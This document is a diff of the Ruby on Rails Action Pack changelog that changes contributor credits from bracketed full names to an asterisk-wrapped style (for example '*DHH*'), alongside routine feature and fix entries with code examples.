-*   Added Mime::Type.register_alias for dealing with different formats using the same mime type [David Heinemeier Hansson]. Example:
+*   Added Mime::Type.register_alias for dealing with different formats using the same mime type *DHH*. Example:
 
         class PostsController < ApplicationController
           before_filter :adjust_format_for_iphone
@@ -1323,7 +2099,7 @@
             end
         end
 
-*   Added that render :json will automatically call .to_json unless it's being passed a string [David Heinemeier Hansson].
+*   Added that render :json will automatically call .to_json unless it's being passed a string *DHH*.
 
 *   Autolink behaves well with emails embedded in URLs.  #7313 *Jeremy McAnally, Tarmo Tänav*
 
@@ -1347,7 +2123,7 @@
 
 *   Removed deprecated form of calling xml_http_request/xhr without the first argument being the http verb *David Heinemeier Hansson*
 
-*   Removed deprecated methods [David Heinemeier Hansson]:
+*   Removed deprecated methods *DHH*:
 
     - ActionController::Base#keep_flash (use flash.keep instead)
     - ActionController::Base#expire_matched_fragments (just call expire_fragment with a regular expression)
@@ -1463,7 +2239,7 @@
 
 *   Reduce file stat calls when checking for template changes.  #7736 *alex*
 
-*   Added custom path cache_page/expire_page parameters in addition to the options hashes [David Heinemeier Hansson]. Example:
+*   Added custom path cache_page/expire_page parameters in addition to the options hashes *DHH*. Example:
 
         def index
           caches_page(response.body, "/index.html")
@@ -1501,7 +2277,7 @@
 
 *   Update to Prototype 1.5.1.  *Sam Stephenson*
 
-*   Allow routes to be decalred under namespaces [Tobias Lütke]:
+*   Allow routes to be decalred under namespaces *Tobias Lütke*:
 
     map.namespace :admin do |admin|
         admin.root :controller => "products"
@@ -1516,7 +2292,7 @@
 
 *   select :include_blank option can be set to a string instead of true, which just uses an empty string.  #7664 *Wizard*
 
-*   Added url_for usage on render :location, which allows for record identification [David Heinemeier Hansson]. Example:
+*   Added url_for usage on render :location, which allows for record identification *DHH*. Example:
 
         render :xml => person, :status => :created, :location => person
 
@@ -1542,7 +2318,7 @@
         end
     end
 
-*   Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for [David Heinemeier Hansson]. Examples:
+*   Added record identifications to FormHelper#form_for and PrototypeHelper#remote_form_for *DHH*. Examples:
 
         <% form_for(@post) do |f| %>
           ...
@@ -1568,7 +2344,7 @@
 
 *   Rationalize route path escaping according to RFC 2396 section 3.3.  #7544, #8307. *Jeremy Kemper, Chris Roos, begemot, jugend*
 
-*   Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for [David Heinemeier Hansson]. Examples:
+*   Added record identification with polymorphic routes for ActionController::Base#url_for and ActionView::Base#url_for *DHH*. Examples:
 
         redirect_to(post)         # => redirect_to(posts_url(post))         => Location: http://example.com/posts/1
         link_to(post.title, post) # => link_to(post.title, posts_url(post)) => <a href="/posts/1">Hello world</a>
@@ -1599,13 +2375,13 @@
 
 *   Update UrlWriter to accept :anchor parameter. Closes #6771. *Chris McGrath*
 
-*   Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements [David Heinemeier Hansson]. Example:
+*   Added RecordTagHelper for using RecordIdentifier conventions on divs and other container elements *DHH*. Example:
 
         <% div_for(post) do %>     <div id="post_45" class="post">
           <%= post.body %>           What a wonderful world!
         <% end %>                  </div>
 
-*   Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id [David Heinemeier Hansson]. Example:
+*   Added page[record] accessor to JavaScriptGenerator that relies on RecordIdentifier to find the right dom id *DHH*. Example:
 
         format.js do
           # Calls: new Effect.fade('post_45');
@@ -1632,7 +2408,7 @@
               :has_many   => [ :tags, :images, :variants ]
           end
 
-*   Added :name_prefix as standard for nested resources [David Heinemeier Hansson]. WARNING: May be backwards incompatible with your app
+*   Added :name_prefix as standard for nested resources *DHH*. WARNING: May be backwards incompatible with your app
 
         Before:
 
@@ -1664,7 +2440,7 @@
 
           map.resources :notes, :has_many => [ :comments, :attachments ], :has_one => :author
 
-*   Added that render :xml will try to call to_xml if it can [David Heinemeier Hansson]. Makes these work:
+*   Added that render :xml will try to call to_xml if it can *DHH*. Makes these work:
 
         render :xml => post
         render :xml => comments
@@ -1741,7 +2517,7 @@
 
 *   Allow array and hash query parameters. Array route parameters are converted/to/a/path as before.  #6765, #7047, #7462 *bgipsy, Jeremy McAnally, Dan Kubb, brendan*
 
-    \# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests    using the cookie store's secret. [Rick Olson]
+    \# Add a #dbman attr_reader for CGI::Session and make CGI::Session::CookieStore#generate_digest public so it's easy to generate digests    using the cookie store's secret. *Rick Olson*
 *   Added Request#url that returns the complete URL used for the request *David Heinemeier Hansson*
 
 *   Extract dynamic scaffolding into a plugin.  #7700 *Josh Peek*
@@ -1758,7 +2534,7 @@
 
 *   Allow send_file/send_data to use a registered mime type as the :type parameter #7620 *jonathan*
 
-*   Allow routing requirements on map.resource(s) #7633 [quixoten]. Example:
+*   Allow routing requirements on map.resource(s) #7633 *quixoten*. Example:
 
     map.resources :network_interfaces, :requirements => { :id => /^\d+\.\d+\.\d+\.\d+$/ }
 
@@ -1782,9 +2558,9 @@
           :secret => Proc.new { User.current.secret_key }
         }
 
-*   Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions [Chad Fowler]. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
+*   Added .erb and .builder as preferred aliases to the now deprecated .rhtml and .rxml extensions *Chad Fowler*. This is done to separate the renderer from the mime type. .erb templates are often used to render emails, atom, csv, whatever. So labeling them .rhtml doesn't make too much sense. The same goes for .rxml, which can be used to build everything from HTML to Atom to whatever. .rhtml and .rxml will continue to work until Rails 3.0, though. So this is a slow phasing out. All generators and examples will start using the new aliases, though.
 
-*   Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag [David Heinemeier Hansson]. Examples:
+*   Added caching option to AssetTagHelper#stylesheet_link_tag and AssetTagHelper#javascript_include_tag *DHH*. Examples:
 
         stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
           <link href="/stylesheets/style1.css"  media="screen" rel="Stylesheet" type="text/css" />
@@ -1823,7 +2599,7 @@
 *   Fix #render_file so that TemplateError is called with the correct params and you don't get the WSOD.  *Rick Olson*
 
 *   Fix issue with deprecation messing up #template_root= usage.  Add #prepend_view_path and #append_view_path to allow modification of a copy of the
-    superclass' view_paths.  [Rick Olson]
+    superclass' view_paths.  *Rick Olson*
 *   Allow Controllers to have multiple view_paths instead of a single template_root.  Closes #2754 *John Long*
 
 *   Add much-needed html-scanner tests.  Fixed CDATA parsing bug. *Rick Olson*
@@ -1975,13 +2751,13 @@
 
 *   Added map.root as an alias for map.connect '' *David Heinemeier Hansson*
 
-*   Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses [David Heinemeier Hansson]. Examples:
+*   Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses *DHH*. Examples:
 
         GET /posts/5.xml   | request.format => Mime::XML
         GET /posts/5.xhtml | request.format => Mime::HTML
         GET /posts/5       | request.format => request.accepts.first (usually Mime::HTML for browsers)
 
-*   Added the option for extension aliases to mime type registration [David Heinemeier Hansson]. Example (already in the default routes):
+*   Added the option for extension aliases to mime type registration *DHH*. Example (already in the default routes):
 
         Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
 
@@ -2048,7 +2824,7 @@
 
 *   Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  *Rick Olson*
 
-*   Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
+*   Added block-usage to TagHelper#content_tag *DHH*. Example:
 
      <% content_tag :div, :class => "strong" %>
          Hello world!
@@ -2079,7 +2855,7 @@
 
 *   Fix deprecation warnings when rendering the template error template. *Nicholas Seckar*
 
-*   Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+*   Fix routing to correctly determine when generation fails. Closes #6300. *psross*.
 
 *   Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
 
@@ -2105,7 +2881,7 @@
 
 *   Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
 
-*   Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+*   Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 *tzaharia*. Example:
 
         update_page_tag :defer => 'true' { |page| ... }
 
@@ -2129,13 +2905,13 @@
 
 *   Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  *Jeremy Kemper*
 
-*   Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+*   Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. *Jamis Buck*. Examples:
 
         head :status => 404        # expands to "404 Not Found"
         head :status => :not_found # expands to "404 Not Found"
         head :status => :created   # expands to "201 Created"
 
-*   Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+*   Add head(options = {}) for responses that have no body. *Jamis Buck*. Examples:
 
         head :status => 404 # return an empty response with a 404 status
         head :location => person_path(@person), :status => 201
@@ -2156,7 +2932,7 @@
 
 *   Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
 
-*   Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
+*   Added that respond_to blocks will automatically set the content type to be the same as is requested *DHH*. Examples:
 
         respond_to do |format|
           format.html { render :text => "I'm being sent as text/html" }
@@ -2166,7 +2942,7 @@
 
 *   Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
 
-*   Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
+*   Added proper getters and setters for content type and charset *DHH*. Example of what we used to do:
 
         response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
 
@@ -2211,7 +2987,7 @@
 
 *   Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
 
-*   Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
+*   Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional *DHH*. So what used to require a nil, like this:
 
         link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
 
@@ -2223,7 +2999,7 @@
 
 *   Update to Prototype 1.5.0_rc1 *sam*
 
-*   Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
+*   Added access to nested attributes in RJS #4548 *richcollins@gmail.com*. Examples:
 
         page['foo']['style']                  # => $('foo').style;
         page['foo']['style']['color']         # => $('blank_slate').style.color;
@@ -2335,7 +3111,7 @@
 
 *   Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  *Rick Olson*
 
-*   Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
+*   Added map.resources from the Simply Restful plugin *DHH*. Examples (the API has changed to use plurals!):
 
         map.resources :messages
         map.resources :messages, :comments
@@ -2408,9 +3184,9 @@
 
 *   Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
 
-*   Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
+*   Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types *DHH*. Example: Mime::Type.register("image/gif", :gif)
 
-*   Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
+*   Added support for Mime objects in render :content_type option *DHH*. Example: render :text => some_atom, :content_type => Mime::ATOM
 
 *   Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
 
@@ -2424,7 +3200,7 @@
 
 *   Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
 
-*   Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
+*   Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output *DHH*. Example:
 
     class WeblogController < ActionController::Base
         def index
@@ -2692,7 +3468,7 @@
 
 *   Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs.  *Rick Olson*
 
-*   Added block-usage to TagHelper#content_tag [David Heinemeier Hansson]. Example:
+*   Added block-usage to TagHelper#content_tag *DHH*. Example:
 
      <% content_tag :div, :class => "strong" %>
          Hello world!
@@ -2721,7 +3497,7 @@
 
 *   Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. *Rick Olson*
 
-*   Fix routing to correctly determine when generation fails. Closes #6300. [psross].
+*   Fix routing to correctly determine when generation fails. Closes #6300. *psross*.
 
 *   Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
 
@@ -2743,7 +3519,7 @@
 
 *   Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
 
-*   Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 [tzaharia]. Example:
+*   Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 *tzaharia*. Example:
 
         update_page_tag :defer => 'true' { |page| ... }
 
@@ -2767,13 +3543,13 @@
 
 *   Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead.  *Jeremy Kemper*
 
-*   Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. [Jamis Buck]. Examples:
+*   Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. *Jamis Buck*. Examples:
 
         head :status => 404        # expands to "404 Not Found"
         head :status => :not_found # expands to "404 Not Found"
         head :status => :created   # expands to "201 Created"
 
-*   Add head(options = {}) for responses that have no body. [Jamis Buck]. Examples:
+*   Add head(options = {}) for responses that have no body. *Jamis Buck*. Examples:
 
         head :status => 404 # return an empty response with a 404 status
         head :location => person_path(@person), :status => 201
@@ -2792,7 +3568,7 @@
 
 *   Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability.  #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
 
-*   Added that respond_to blocks will automatically set the content type to be the same as is requested [David Heinemeier Hansson]. Examples:
+*   Added that respond_to blocks will automatically set the content type to be the same as is requested *DHH*. Examples:
 
         respond_to do |format|
           format.html { render :text => "I'm being sent as text/html" }
@@ -2802,7 +3578,7 @@
 
 *   Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
 
-*   Added proper getters and setters for content type and charset [David Heinemeier Hansson]. Example of what we used to do:
+*   Added proper getters and setters for content type and charset *DHH*. Example of what we used to do:
 
         response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
 
@@ -2839,7 +3615,7 @@
 
 *   Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
 
-*   Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional [David Heinemeier Hansson]. So what used to require a nil, like this:
+*   Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional *DHH*. So what used to require a nil, like this:
 
         link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
 
@@ -2847,7 +3623,7 @@
 
         link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
 
-*   Added access to nested attributes in RJS #4548 [richcollins@gmail.com]. Examples:
+*   Added access to nested attributes in RJS #4548 *richcollins@gmail.com*. Examples:
 
         page['foo']['style']                  # => $('foo').style;
         page['foo']['style']['color']         # => $('blank_slate').style.color;
@@ -2934,7 +3710,7 @@
 
 *   Fixed the new_#{resource}_url route and added named route tests for Simply Restful.  *Rick Olson*
 
-*   Added map.resources from the Simply Restful plugin [David Heinemeier Hansson]. Examples (the API has changed to use plurals!):
+*   Added map.resources from the Simply Restful plugin *DHH*. Examples (the API has changed to use plurals!):
 
         map.resources :messages
         map.resources :messages, :comments
@@ -3001,9 +3777,9 @@
 
 *   Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
 
-*   Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types [David Heinemeier Hansson]. Example: Mime::Type.register("image/gif", :gif)
+*   Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types *DHH*. Example: Mime::Type.register("image/gif", :gif)
 
-*   Added support for Mime objects in render :content_type option [David Heinemeier Hansson]. Example: render :text => some_atom, :content_type => Mime::ATOM
+*   Added support for Mime objects in render :content_type option *DHH*. Example: render :text => some_atom, :content_type => Mime::ATOM
 
 *   Add :status option to send_data and send_file. Defaults to '200 OK'.  #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
 
@@ -3017,7 +3793,7 @@
 
 *   Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
 
-*   Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output [David Heinemeier Hansson]. Example:
+*   Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output *DHH*. Example:
 
     class WeblogController < ActionController::Base
         def index
@@ -3156,7 +3932,7 @@
 
 *   Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us *Sam Stephenson, Thomas Fuchs*
 
-*   Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails [David Heinemeier Hansson]. Example:
+*   Added automated timestamping to AssetTagHelper methods for stylesheets, javascripts, and images when Action Controller is run under Rails *DHH*. Example:
 
         image_tag("rails.png") # => '<img alt="Rails" src="/images/rails.png?1143664135" />'
 
@@ -3210,7 +3986,7 @@
 
 *   Change url_for to escape the resulting URLs when called from a view. *Nicholas Seckar, coffee2code*
 
-*   Added easy support for testing file uploads with fixture_file_upload #4105 [turnip@turnipspatch.com]. Example:
+*   Added easy support for testing file uploads with fixture_file_upload #4105 *turnip@turnipspatch.com*. Example:
 
         # Looks in Test::Unit::TestCase.fixture_path + '/files/spongebob.png'
         post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png')
@@ -3245,11 +4021,11 @@
 
 *   Added simple alert() notifications for RJS exceptions when config.action_view.debug_rjs = true. *Sam Stephenson*
 
-*   Added :content_type option to render, so you can change the content type on the fly [David Heinemeier Hansson]. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
+*   Added :content_type option to render, so you can change the content type on the fly *DHH*. Example: render :action => "atom.rxml", :content_type => "application/atom+xml"
 
 *   CHANGED DEFAULT: The default content type for .rxml is now application/xml instead of type/xml, see http://www.xml.com/pub/a/2004/07/21/dive.html for reason *David Heinemeier Hansson*
 
-*   Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension [David Heinemeier Hansson]. Example:
+*   Added option to render action/template/file of a specific extension (and here by template type). This means you can have multiple templates with the same name but a different extension *DHH*. Example:
 
         class WeblogController < ActionController::Base
           def index
@@ -3263,7 +4039,7 @@
           end
         end
 
-*   Added better support for using the same actions to output for different sources depending on the Accept header [David Heinemeier Hansson]. Example:
+*   Added better support for using the same actions to output for different sources depending on the Accept header *DHH*. Example:
 
         class WeblogController < ActionController::Base
           def create
@@ -3284,7 +4060,7 @@
 
 *   Integration test's url_for now runs in the context of the last request (if any) so after post /products/show/1 url_for :action => 'new' will yield /product/new  *Tobias Lütke*
 
-*   Re-added mixed-in helper methods for the JavascriptGenerator.  Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added.  Also fixed that variables set in the enumeration methods like #collect are set correctly.  Documentation added for the enumeration methods [Rick Olson].  Examples:
+*   Re-added mixed-in helper methods for the JavascriptGenerator.  Moved JavascriptGenerators methods to a module that is mixed in after the helpers are added.  Also fixed that variables set in the enumeration methods like #collect are set correctly.  Documentation added for the enumeration methods *Rick Olson*.  Examples:
 
         page.select('#items li').collect('items') do |element|
           element.hide
@@ -3302,7 +4078,7 @@
         # Assign the default XmlSimple to a new content type
         ActionController::Base.param_parsers['application/backpack+xml'] = :xml_simple
 
-    Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type [Tobias Lütke]
+    Default YAML web services were retired, ActionController::Base.param_parsers carries an example which shows how to get this functionality back. As part of this new plugin support, request.[formatted_post?, xml_post?, yaml_post? and post_format] were all deprecated in favor of request.content_type *Tobias Lütke*
 *   Fixed Effect.Appear in effects.js to work with floats in Safari #3524, #3813, #3044 *Thomas Fuchs*
 
 *   Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 *rubyonrails@beautifulpixel.com*
@@ -3317,7 +4093,7 @@
 
 *   Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 *Brian Takita*
 
-*   Added script.aculo.us drag and drop helpers to RJS [Thomas Fuchs]. Examples:
+*   Added script.aculo.us drag and drop helpers to RJS *Thomas Fuchs*. Examples:
 
         page.draggable 'product-1'
         page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
@@ -3335,7 +4111,7 @@
 
 *   Update script.aculo.us to V1.5.2 *Thomas Fuchs*
 
-*   Added element and collection proxies to RJS [David Heinemeier Hansson]. Examples:
+*   Added element and collection proxies to RJS *DHH*. Examples:
 
         page['blank_slate']                  # => $('blank_slate');
         page['blank_slate'].show             # => $('blank_slate').show();
@@ -3385,7 +4161,7 @@
 
 *   Ensure that the instance variables are copied to the template when performing render :update. *Nicholas Seckar*
 
-*   Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. [Sam Stephenson]  Example:
+*   Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. *Sam Stephenson*  Example:
     module ApplicationHelper
         def update_time
           page.replace_html 'time', Time.now.to_s(:db)
@@ -3419,7 +4195,7 @@
 
 *   Pass along blocks from render_to_string to render. *Sam Stephenson*
 
-*   Add render :update for inline RJS. [Sam Stephenson]  Example:
+*   Add render :update for inline RJS. *Sam Stephenson*  Example:
     class UserController < ApplicationController
         def refresh
           render :update do |page|
@@ -3469,7 +4245,7 @@
 
 *   Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion *Thomas Fuchs*
 
-*   Added delayed execution of Javascript from within RJS #3264 [devslashnull@gmail.com]. Example:
+*   Added delayed execution of Javascript from within RJS #3264 *devslashnull@gmail.com*. Example:
 
         page.delay(20) do
           page.visual_effect :fade, 'notice'
@@ -3553,7 +4329,7 @@
 
 *   Handle cookie parsing irregularity for certain Nokia phones.  #2530 *zaitzow@gmail.com*
 
-*   Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. [Sam Stephenson]  Example:
+*   Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. *Sam Stephenson*  Example:
 
         update_page do |page|
           page.insert_html :bottom, 'list', '<li>Last item</li>'
@@ -3577,7 +4353,7 @@
 
 *   Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb.  #2855 *court3nay*
 
-*   Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables [David Heinemeier Hansson]. Examples:
+*   Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables *DHH*. Examples:
 
     <% form_for :person, @person, :url => { :action => "update" } do |f| %>
         First name: <%= f.text_field :first_name %>
@@ -3620,7 +4396,7 @@
 
 *   Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" *David Heinemeier Hansson*
 
-*   Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies [David Heinemeier Hansson]. Example:
+*   Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies *DHH*. Example:
 
         class ApplicationController < ActionController::Base
           before_filter :authenticate
@@ -3803,7 +4579,7 @@
 
 *   Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 *sd@notso.net*
 
-*   Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 [erik@ruby-lang.nl]. Example:
+*   Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 *erik@ruby-lang.nl*. Example:
 
         <tr id="row023">
           <td><input name="foo"/></td>
@@ -3830,7 +4606,7 @@
 
 *   Updated vendor copy of html-scanner to support better xml parsing
 
-*   Added :popup option to UrlHelper#link_to #1996 [gabriel.gironda@gmail.com]. Examples:
+*   Added :popup option to UrlHelper#link_to #1996 *gabriel.gironda@gmail.com*. Examples:
 
         link_to "Help", { :action => "help" }, :popup => true
         link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
@@ -3887,7 +4663,7 @@
 
 *   Added support for per-action session management #1763
 
-*   Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 [Stefan Kaes]. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
+*   Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 *Stefan Kaes*. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
 
 *   Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 *jeremye@bsa.ca.gov*
 
@@ -3962,7 +4738,7 @@
 
 *   Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 *Michael Schuerig*
 
-*   Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 [mortonda@dgrmm.net]. Examples:
+*   Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 *mortonda@dgrmm.net*. Examples:
 
         <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
 
@@ -3979,7 +4755,7 @@
 
 *   Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 *thomas@columbus.rr.com*
 
-*   Adds the ability to include XML CDATA tags using Builder #1563 [Josh Knowles]. Example:
+*   Adds the ability to include XML CDATA tags using Builder #1563 *Josh Knowles*. Example:
 
         xml.cdata! "some text" # => <![CDATA[some text]]>
 
@@ -3991,7 +4767,7 @@
 
 *   Routes fail with leading slash #1540 *Nicholas Seckar*
 
-*   Added support for graceful error handling of Ajax calls #1217 [Jamis Buck/Thomas Fuchs]. Example:
+*   Added support for graceful error handling of Ajax calls #1217 *Jamis Buck/Thomas Fuchs*. Example:
 
         link_to_remote(
           "test",
@@ -4021,7 +4797,7 @@
 
 *   Added TextHelper#word_wrap(text, line_length = 80) #1449 *tuxie@dekadance.se*
 
-*   Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 [Scott Barron]. Example:
+*   Added a fall-through action for form_remote_tag that'll be used in case Javascript is unavailable #1459 *Scott Barron*. Example:
 
         form_remote_tag :html => { :action => url_for(:controller => "some", :action => "place") }
 
@@ -4029,7 +4805,7 @@
 
 *   Added tag_options as a third parameter to AssetHelper#auto_discovery_link_tag to control options like the title of the link #1430 *Kevin Clark*
 
-*   Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 [duane.johnson@gmail.com]. Example:
+*   Added option to pass in parameters to CaptureHelper#capture, so you can create more advanced view helper methods #1466 *duane.johnson@gmail.com*. Example:
 
         <% show_calendar(:year => 2005, :month => 6) do |day, options| %>
           <% options[:bgcolor] = '#dfd' if 10..15.include? day %>
@@ -4042,7 +4818,7 @@
 
 *   Correct distance_of_time_in_words for integer arguments and make the second arg optional, treating the first arg as a duration in seconds.  #1458 *madrobby <thomas@fesch.at>*
 
-*   Fixed query parser to deal gracefully with equal signs inside keys and values #1345 [gorou].
+*   Fixed query parser to deal gracefully with equal signs inside keys and values #1345 *gorou*.
     Example: /?sig=abcdef=:foobar=&x=y will pass now.
 
 *   Added Cuba to country list #1351 *todd*
@@ -4055,7 +4831,7 @@
 
 *   Fixed image_tag so an exception is not thrown just because the image is missing and alt value can't be generated #1395 *Marcel Molina Jr.*
 
-*   Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 [tyler.kovacs@gmail.com]. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
+*   Added a third parameter to TextHelper#auto_link called href_options for specifying additional tag options on the links generated #1401 *tyler.kovacs@gmail.com*. Example: auto_link(text, :all, { :target => "_blank" }) to have all the generated links open in a new window.
 
 *   Fixed TextHelper#highlight to return the text, not nil, if the phrase is blank #1409 *Patrick Lenz*
 
@@ -4241,7 +5017,7 @@
 
 ## 1.8.1 (20th April, 2005) ##
 
-*   Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 [Sam Stephenson]. Example:
+*   Added xml_http_request/xhr method for simulating XMLHttpRequest in functional tests #1151 *Sam Stephenson*. Example:
 
         xhr :post, :index
 
@@ -4263,18 +5039,18 @@
